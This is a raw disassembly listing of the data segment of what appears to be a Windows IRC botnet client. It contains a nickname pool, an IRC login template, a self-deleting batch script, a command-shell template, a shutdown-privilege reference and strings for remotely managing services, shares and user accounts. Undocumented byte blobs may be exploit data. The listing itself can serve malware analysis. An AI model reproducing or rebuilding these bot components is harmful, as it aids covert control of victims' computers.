aF_0 db '^^^f^',0 ; DATA XREF: seg002:0043AC80o
align 4
aSad db 'Sad',0 ; DATA XREF: seg002:0043AC7Co
aLuvu db 'LUVU',0 ; DATA XREF: seg002:0043AC78o
align 4
a___0 db '_|_',0 ; DATA XREF: seg002:0043AC5Co
aBbl db '|bbl',0 ; DATA XREF: seg002:0043AC50o
align 10h
off_43ADB0 dd offset loc_425240+2 ; DATA XREF: seg002:0043AC4Co
aMuckc db 'muckc',0 ; DATA XREF: seg002:0043AC38o
align 4
aTruck db 'truck',0 ; DATA XREF: seg002:0043AC34o
align 4
aTrimy db 'trimy',0 ; DATA XREF: seg002:0043AC30o
align 4
aLuvy db 'luvy',0 ; DATA XREF: seg002:0043AC2Co
align 4
aUi db 'ui',0 ; DATA XREF: seg002:0043AC28o
align 4
aSdf db 'sdf',0 ; DATA XREF: seg002:0043AC24o
aRt db 'rt',0 ; DATA XREF: seg002:0043AC20o
align 10h
aGf db 'gf',0 ; DATA XREF: seg002:0043AC1Co
align 4
aTy db 'ty',0 ; DATA XREF: seg002:0043AC18o
align 4
aRg db 'rg',0 ; DATA XREF: seg002:0043AC14o
align 4
aHappy db 'happy',0 ; DATA XREF: seg002:0043AC10o
align 4
aRs db 'rs',0 ; DATA XREF: seg002:0043ABF0o
align 4
aQ8A db '|q8|a',0 ; DATA XREF: seg002:0043ABA8o
align 10h
aQ8 db 'Q8',0 ; DATA XREF: seg002:0043ABA4o
align 4
aSick db 'sick}}',0 ; DATA XREF: seg002:0043ABA0o
align 4
aWiked db '|wiked|',0 ; DATA XREF: seg002:0043AB9Co
aLuvuF db '||luvu-f|',0 ; DATA XREF: seg002:0043AB98o
align 10h
aGens db '{gens|',0 ; DATA XREF: seg002:0043AB94o
align 4
aSex_0 db '{sex}',0 ; DATA XREF: seg002:0043AB90o
align 10h
aHub db '{hub}',0 ; DATA XREF: seg002:0043AB8Co
align 4
aLuck db '|luck|',0 ; DATA XREF: seg002:0043AB88o
align 10h
aSuck db '|suck|',0 ; DATA XREF: seg002:0043AB84o
align 4
aTot db '-|tot|',0 ; DATA XREF: seg002:0043AB80o
align 10h
aWoh db '|woh|',0 ; DATA XREF: seg002:0043AB7Co
align 4
aTambe db '|tambe|',0 ; DATA XREF: seg002:0043AB78o
aLag db 'lag',0 ; DATA XREF: seg002:0043AB74o
aBad db 'bad',0 ; DATA XREF: seg002:0043AB70o
aTree db 'tree',0 ; DATA XREF: seg002:0043AB6Co
align 10h
aZex db 'zex',0 ; DATA XREF: seg002:0043AB68o
aLez db 'lez',0 ; DATA XREF: seg002:0043AB64o
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: seg002:0043AB5Co
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: seg002:0043AB58o
align 10h
aAdamm db 'ADAMM',0 ; DATA XREF: seg002:0043AB54o
align 4
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: seg002:0043AB50o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: seg002:0043AB4Co
align 10h
aDallas43m db 'DALLAS43M',0 ; DATA XREF: seg002:0043AB48o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: seg002:0043AB44o
align 4
aRerpjj db 'RERPJJ',0 ; DATA XREF: seg002:0043AB40o
align 10h
aCem39 db 'cem39',0 ; DATA XREF: seg002:0043AB3Co
align 4
aCool30m db 'cool30m',0 ; DATA XREF: seg002:0043AB38o
aTropikal db 'tropikal',0 ; DATA XREF: seg002:0043AB34o
align 4
aPassenger db 'passenger',0 ; DATA XREF: seg002:0043AB30o
align 4
aNeHaber db 'NE-HABER',0 ; DATA XREF: seg002:0043AB2Co
align 4
aUla db 'ula',0 ; DATA XREF: seg002:0043AB28o
aIzmirlm db 'izmirlm',0 ; DATA XREF: seg002:0043AB24o
aAkden db 'akden',0 ; DATA XREF: seg002:0043AB20o
align 4
aKoray db 'KORAY',0 ; DATA XREF: seg002:0043AB1Co
align 10h
aAta29 db 'Ata29',0 ; DATA XREF: seg002:0043AB18o
align 4
aFirtina db 'firtina',0 ; DATA XREF: seg002:0043AB14o
aAdamm33 db 'AdAMM33',0 ; DATA XREF: seg002:0043AB10o
aM41ist db 'M41IST',0 ; DATA XREF: seg002:0043AB0Co
align 10h
aMaxsilla db 'maxsilla',0 ; DATA XREF: seg002:0043AB08o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: seg002:0043AB04o
align 4
aAnkm db 'ankM',0 ; DATA XREF: seg002:0043AB00o
align 4
aErkan db 'erkan',0 ; DATA XREF: seg002:0043AAFCo
align 4
aDevre db 'devre',0 ; DATA XREF: seg002:0043AAF8o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: seg002:0043AAF4o
align 4
aBirsen db 'birsen',0 ; DATA XREF: seg002:0043AAF0o
align 4
aA44m db 'a44m',0 ; DATA XREF: seg002:0043AAECo
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: seg002:0043AAE8o
align 10h
off_43AF90 dd offset byte_4B5245 ; DATA XREF: seg002:0043AAE4o
aSevda db 'sevda',0 ; DATA XREF: seg002:0043AAE0o
align 4
aKotan db 'kotan',0 ; DATA XREF: seg002:0043AADCo
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: seg002:0043AAD8o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: seg002:0043AAD4o
align 4
aKapk db 'kapk',0 ; DATA XREF: seg002:0043AAD0o
align 10h
aAngelgirl db 'angelgirl',0 ; DATA XREF: seg002:0043AACCo
align 4
aHayran db 'hayran',0 ; DATA XREF: seg002:0043AAC8o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: seg002:0043AAC4o
align 10h
aAnkar db 'Ankar',0 ; DATA XREF: seg002:0043AAC0o
align 4
aDjspace db 'DJSPACE',0 ; DATA XREF: seg002:0043AABCo
aAnk32M db 'ANK-32-M',0 ; DATA XREF: seg002:0043AAB8o
align 4
aUmut db 'umut-',0 ; DATA XREF: seg002:0043AAB4o
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: seg002:0043AAB0o
align 4
aKumul db 'kumul',0 ; DATA XREF: seg002:0043AAACo
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: seg002:0043AAA8o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: seg002:0043AAA4o
align 4
aSeviseli db 'SeViSeLi',0 ; DATA XREF: seg002:0043AAA0o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: seg002:0043AA9Co
align 10h
aAykut1 db 'aykut1',0 ; DATA XREF: seg002:0043AA98o
align 4
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: seg002:0043AA94o
align 4
aMahinur db 'MAHINUR',0 ; DATA XREF: seg002:0043AA90o
aHoly db 'holy',0 ; DATA XREF: seg002:0043AA8Co
align 4
aFlord db 'FLoRD',0 ; DATA XREF: seg002:0043AA88o
align 10h
aKebikec db 'kebikec',0 ; DATA XREF: seg002:0043AA84o
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: seg002:0043AA80o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: seg002:0043AA7Co
align 10h
aEmre db 'Emre--',0 ; DATA XREF: seg002:0043AA78o
align 4
aRamtha db 'RAMTHA',0 ; DATA XREF: seg002:0043AA74o
align 10h
aImirzali db 'IMIRZALI--',0 ; DATA XREF: seg002:0043AA70o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: seg002:0043AA6Co
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: seg002:0043AA68o
align 10h
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: seg002:0043AA64o
aArda db 'arda',0 ; DATA XREF: seg002:0043AA60o
align 4
aDevran db 'devran',0 ; DATA XREF: seg002:0043AA5Co
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: seg002:0043AA58o
aDenizlim db 'DenizliM',0 ; DATA XREF: seg002:0043AA54o
align 10h
aCongueror db 'CoNGuERoR',0 ; DATA XREF: seg002:0043AA50o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: seg002:0043AA4Co
align 4
aBogac db 'bogac',0 ; DATA XREF: seg002:0043AA48o
align 10h
aDonjuanm db 'Donjuanm',0 ; DATA XREF: seg002:0043AA44o
align 4
aAnkh db 'ankh',0 ; DATA XREF: seg002:0043AA40o
align 4
off_43B124 dd offset byte_457441 ; DATA XREF: seg002:0043AA3Co
dword_43B128 dd 414C5941h, 2Dh ; DATA XREF: seg002:0043AA38o
aAlbina db 'albina',0 ; DATA XREF: seg002:0043AA34o
align 4
aIzmir39m db 'Izmir39m',0 ; DATA XREF: seg002:0043AA30o
align 4
aZack db 'ZACK',0 ; DATA XREF: seg002:0043AA2Co
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: seg002:0043AA28o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: seg002:0043AA24o
align 4
aAhmet db 'ahmet',0 ; DATA XREF: seg002:0043AA20o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: seg002:0043AA1Co
align 10h
aBlackpearl db 'blackpearl',0 ; DATA XREF: seg002:0043AA18o
align 4
aRetg db 'RETG',0 ; DATA XREF: seg002:0043AA14o
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: seg002:0043AA10o
align 10h
aPiramit db 'PIRAMIT',0 ; DATA XREF: seg002:0043AA0Co
aAslii db 'aslii',0 ; DATA XREF: seg002:0043AA08o
align 10h
aErnesto db 'ERNESTO',0 ; DATA XREF: seg002:0043AA04o
aHaticem db 'haticem',0 ; DATA XREF: seg002:0043AA00o
aArzu db 'ARZU',0 ; DATA XREF: seg002:0043A9FCo
align 4
aSudenur db 'SUDENUR',0 ; DATA XREF: seg002:0043A9F8o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: seg002:0043A9F4o
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: seg002:0043A9F0o
align 4
aTekir db 'tekir',0 ; DATA XREF: seg002:0043A9ECo
align 10h
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: seg002:0043A9E8o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: seg002:0043A9E4o
align 4
aMelekk db 'melekk',0 ; DATA XREF: seg002:0043A9E0o
align 4
aAkin db 'AKIN',0 ; DATA XREF: seg002:0043A9DCo
align 4
aMary_0 db 'MARY',0 ; DATA XREF: seg002:0043A9D8o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: seg002:0043A9D4o
aTolga34 db 'Tolga34',0 ; DATA XREF: seg002:0043A9D0o
aMisssunday db 'misssunday',0 ; DATA XREF: seg002:0043A9CCo
align 4
aIrmal db 'irmal',0 ; DATA XREF: seg002:0043A9C8o
align 10h
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: seg002:0043A9C4o
align 10h
aBerk19 db 'berk19',0 ; DATA XREF: seg002:0043A9C0o
align 4
aHexaaa db 'hexaaa',0 ; DATA XREF: seg002:0043A9BCo
align 10h
aErkan27 db 'erkan27',0 ; DATA XREF: seg002:0043A9B8o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: seg002:0043A9B4o
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: seg002:0043A9B0o
align 10h
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: seg002:0043A9ACo
align 4
aKencing db 'Kencing',0 ; DATA XREF: seg002:0043A9A8o
aReshma db 'reshma',0 ; DATA XREF: seg002:0043A9A4o
align 4
aCamel db 'CAMEL',0 ; DATA XREF: seg002:0043A9A0o
align 4
aGirl db 'GirL',0 ; DATA XREF: seg002:0043A99Co
align 4
aImra db 'imra',0 ; DATA XREF: seg002:0043A998o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: seg002:0043A994o
align 10h
aPuregold db 'puregold',0 ; DATA XREF: seg002:0043A990o
align 4
aKermit db 'kermit',0 ; DATA XREF: seg002:0043A98Co
align 4
aManee db 'manee',0 ; DATA XREF: seg002:0043A988o
align 4
aTroller db 'troller',0 ; DATA XREF: seg002:0043A984o
aLuisa db 'Luisa',0 ; DATA XREF: seg002:0043A980o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: seg002:0043A97Co
align 4
aRimpy db 'rimpy',0 ; DATA XREF: seg002:0043A978o
align 10h
aJanno db 'janno',0 ; DATA XREF: seg002:0043A974o
align 4
aBunty db 'bunty',0 ; DATA XREF: seg002:0043A970o
align 10h
aHeval db 'heval',0 ; DATA XREF: seg002:0043A96Co
align 4
aCme db 'cme',0 ; DATA XREF: seg002:0043A968o
aMarcy db 'marcy',0 ; DATA XREF: seg002:0043A964o
align 4
aTalika db 'talika',0 ; DATA XREF: seg002:0043A960o
align 4
aShez db 'Shez',0 ; DATA XREF: seg002:0043A95Co
align 4
aKen db 'ken',0 ; DATA XREF: seg002:0043A958o
aFlexster db 'flexster',0 ; DATA XREF: seg002:0043A954o
align 4
aKoko db 'koko',0 ; DATA XREF: seg002:0043A950o
align 4
aMale db 'male',0 ; DATA XREF: seg002:0043A94Co
align 4
aSwin db 'swin',0 ; DATA XREF: seg002:0043A948o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: seg002:0043A944o
aKrizha db 'KRIZHA',0 ; DATA XREF: seg002:0043A940o
align 4
aEmilya db 'emilya',0 ; DATA XREF: seg002:0043A93Co
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: seg002:0043A938o
align 10h
aMaxxguy db 'maxxguy',0 ; DATA XREF: seg002:0043A934o
aFarooq db 'farooq',0 ; DATA XREF: seg002:0043A930o
align 10h
aSmartmir db 'SMARTMIR',0 ; DATA XREF: seg002:0043A92Co
align 4
aM_0: ; DATA XREF: seg002:0043A928o
; seg002:0043AC74o
unicode 0, <M>,0
word_43B390 dw 4Eh ; DATA XREF: sub_41A044+38r
; seg002:0043A924o
align 4
dword_43B394 dd 42h ; DATA XREF: seg002:0043A920o
dword_43B398 dd 56h ; DATA XREF: seg002:0043A91Co
dword_43B39C dd 43h ; DATA XREF: seg002:0043A918o
dword_43B3A0 dd 58h ; DATA XREF: seg002:0043A914o
; seg002:0043ACA8o
dword_43B3A4 dd 5Ah ; DATA XREF: seg002:0043A910o
dword_43B3A8 dd 4Ch ; DATA XREF: seg002:0043A90Co
dword_43B3AC dd 4Bh ; DATA XREF: seg002:0043A908o
dword_43B3B0 dd 4Ah ; DATA XREF: seg002:0043A904o
dword_43B3B4 dd 48h ; DATA XREF: seg002:0043A900o
dword_43B3B8 dd 47h ; DATA XREF: seg002:0043A8FCo
dword_43B3BC dd 46h ; DATA XREF: seg002:0043A8F8o
; seg002:0043AC70o
dword_43B3C0 dd 44h ; DATA XREF: seg002:0043A8F4o
dword_43B3C4 dd 53h ; DATA XREF: seg002:0043A8F0o
dword_43B3C8 dd 50h ; DATA XREF: seg002:0043A8E8o
dword_43B3CC dd 4Fh ; DATA XREF: seg002:0043A8E4o
dword_43B3D0 dd 55h ; DATA XREF: seg002:0043A8DCo
word_43B3D4 dw 59h ; DATA XREF: sub_41A36A+38r
; seg002:0043A8D8o
align 4
dword_43B3D8 dd 54h ; DATA XREF: seg002:0043A8D4o
dword_43B3DC dd 52h ; DATA XREF: seg002:0043A8D0o
dword_43B3E0 dd 45h ; DATA XREF: seg002:0043A8CCo
dword_43B3E4 dd 57h ; DATA XREF: seg002:0043A8C8o
dword_43B3E8 dd 51h ; DATA XREF: seg002:0043A8C4o
dword_43B3EC dd 62h ; DATA XREF: seg002:0043A8B8o
; seg002:0043ABACo ...
dword_43B3F0 dd 78h ; DATA XREF: seg002:0043A8ACo
; seg002:0043AC04o
dword_43B3F4 dd 7Ah ; DATA XREF: seg002:0043A8A8o
; seg002:0043AC0Co ...
dword_43B3F8 dd 6Ch ; DATA XREF: seg002:0043A8A4o
; seg002:0043ABD8o
dword_43B3FC dd 68h ; DATA XREF: seg002:0043A898o
; seg002:0043ABC4o
dword_43B400 dd 67h ; DATA XREF: seg002:0043A894o
; seg002:0043ABC0o ...
dword_43B404 dd 79h ; DATA XREF: seg002:0043A874o
; seg002:0043AC08o
dword_43B408 dd 77h ; DATA XREF: seg002:0043A864o
; seg002:0043AC00o
dword_43B40C dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417826+C1o
dword_43B418 dd 323334h ; DATA XREF: sub_417826+86o
dword_43B41C dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417826+65o
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_41791B+98o
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417B38+BCo
; sub_417B38+174r ...
align 8
dword_43B468 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_417F6F+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43B4B4 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_417F6F+E3o
; ---------------------------------------------------------------------------
loc_43B4D0: ; DATA XREF: sub_417F6F+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_43B4E4 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_417F6F+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418330+72o
align 4
aMirc_0 db 'mIRC',0 ; DATA XREF: seg000:004183FAo
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: seg000:00418493o
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_41851B+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41853D+140o
align 10h
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41853D+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41853D+48o
align 10h
unk_43B5A0 db 2Dh ; - ; DATA XREF: sub_4186C5+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 10h
unk_43B5D0 db 2Dh ; - ; DATA XREF: sub_4186C5+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_43B5F8 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_4186C5+5Co
dd 65726165h, 64h, 0
off_43B618 dd offset aAdd ; DATA XREF: sub_4188AF+6Dr
; sub_418C96+50r ...
; "Add"
off_43B61C dd offset aAdded ; DATA XREF: sub_4188AF+2Dr
; sub_418C96+82r ...
; "Added"
dword_43B620 dd 0 ; DATA XREF: sub_4188AF+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 43B68Ch, 43B684h, 2, 43B678h, 43B66Ch, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: seg002:0043B64Co
aStop_0 db 'Stop',0 ; DATA XREF: seg002:0043B648o
align 4
aStarted db 'Started',0 ; DATA XREF: seg002:0043B640o
aStart_0 db 'Start',0 ; DATA XREF: seg002:0043B63Co
align 4
aListed db 'Listed',0 ; DATA XREF: seg002:0043B634o
align 4
aList_1 db 'List',0 ; DATA XREF: seg002:0043B630o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: seg002:0043B628o
aDelete_0 db 'Delete',0 ; DATA XREF: seg002:0043B624o
align 4
aAdded db 'Added',0 ; DATA XREF: seg002:off_43B61Co
align 4
aAdd db 'Add',0 ; DATA XREF: seg002:off_43B618o
unk_43B6E0 db 2Dh ; - ; DATA XREF: sub_4188AF+74o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_43B704 db 2Dh ; - ; DATA XREF: sub_4188AF+55o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 10h
unk_43B730 db 2Dh ; - ; DATA XREF: sub_4188AF+38o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4189D8+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4189D8:loc_418AF0o
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4189D8:loc_418AE9o
align 8
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_4189D8:loc_418AE2o
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_4189D8:loc_418ADBo
align 10h
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_4189D8:loc_418AD4o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_4189D8:loc_418ACDo
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4189D8:loc_418AC6o
align 8
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_4189D8:loc_418ABFo
align 10h
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_4189D8:loc_418AB8o
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_4189D8:loc_418AB1o
align 10h
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_4189D8:loc_418A86o
align 10h
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_4189D8:loc_418A7Fo
db ' the service.',0
align 10h
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_4189D8:loc_418A78o
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_4189D8:loc_418A71o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4189D8+8Fo
align 8
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_4189D8:loc_418A46o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_4189D8:loc_418A3Co
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_4189D8:loc_418A32o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4189D8:loc_418A28o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_4189D8:loc_418A1Eo
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4189D8+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418B56+EEo
aStopped db ' Stopped',0 ; DATA XREF: sub_418B56:loc_418C25o
aStarting db ' Starting',0 ; DATA XREF: sub_418B56:loc_418C1Eo
aStoping db ' Stoping',0 ; DATA XREF: sub_418B56:loc_418C17o
aRunning db ' Running',0 ; DATA XREF: sub_418B56:loc_418C10o
aContinuing db ' Continuing',0 ; DATA XREF: sub_418B56:loc_418C09o
aPausing db ' Pausing',0 ; DATA XREF: sub_418B56:loc_418C02o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_418B56:loc_418BFBo
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418B56+9Eo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_418B56+25o
align 4
unk_43BC94 db 2Dh ; - ; DATA XREF: sub_418C96+ABo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
dword_43BCB8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418C96+89o
dd 73252720h, 27h
unk_43BCD4 db 2Dh ; - ; DATA XREF: sub_418C96+57o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 10h
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418E8B+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_418E8B+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_418E8B+B5o
unk_43BD20 db 2Dh ; - ; DATA XREF: sub_418E8B+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_418E8B+26o
align 10h
unk_43BD80 db 2Dh ; - ; DATA XREF: sub_418FAC+B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
unk_43BDA8 db 2Dh ; - ; DATA XREF: sub_418FAC+94o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
unk_43BDD8 db 2Dh ; - ; DATA XREF: sub_418FAC+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
unk_43BDF8 db 2Dh ; - ; DATA XREF: sub_4190F2+394o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4190F2+36Ao
align 10h
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4190F2+33Fo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4190F2+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4190F2+2ECo
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4190F2+2C4o
align 10h
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4190F2+299o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4190F2+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4190F2+246o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4190F2+21Eo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4190F2+1F3o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4190F2+1CBo
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4190F2+1A0o
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4190F2+178o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4190F2+14Do
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4190F2+125o
aGuest db 'Guest',0 ; DATA XREF: sub_4190F2:loc_41920Bo
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_4190F2:loc_419204o
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: sub_4190F2:loc_4191FDo
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4190F2+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4190F2+ACo
align 10h
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4190F2+81o
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_4190F2+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4194C0+145o
align 4
unk_43BFB4 db 2Dh ; - ; DATA XREF: sub_4194C0:loc_4195ADo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 10h
aS_6 db ' %S',0 ; DATA XREF: sub_4194C0+BAo
align 4
unk_43BFE8 db 2Dh ; - ; DATA XREF: sub_4194C0+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4194C0+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419636:loc_419753o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419636:loc_41974Co
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419636:loc_419745o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419636:loc_41973Eo
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419636:loc_419737o
align 8
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_419636:loc_41971Ao
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419636:loc_419713o
align 10h
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419636:loc_41970Co
align 8
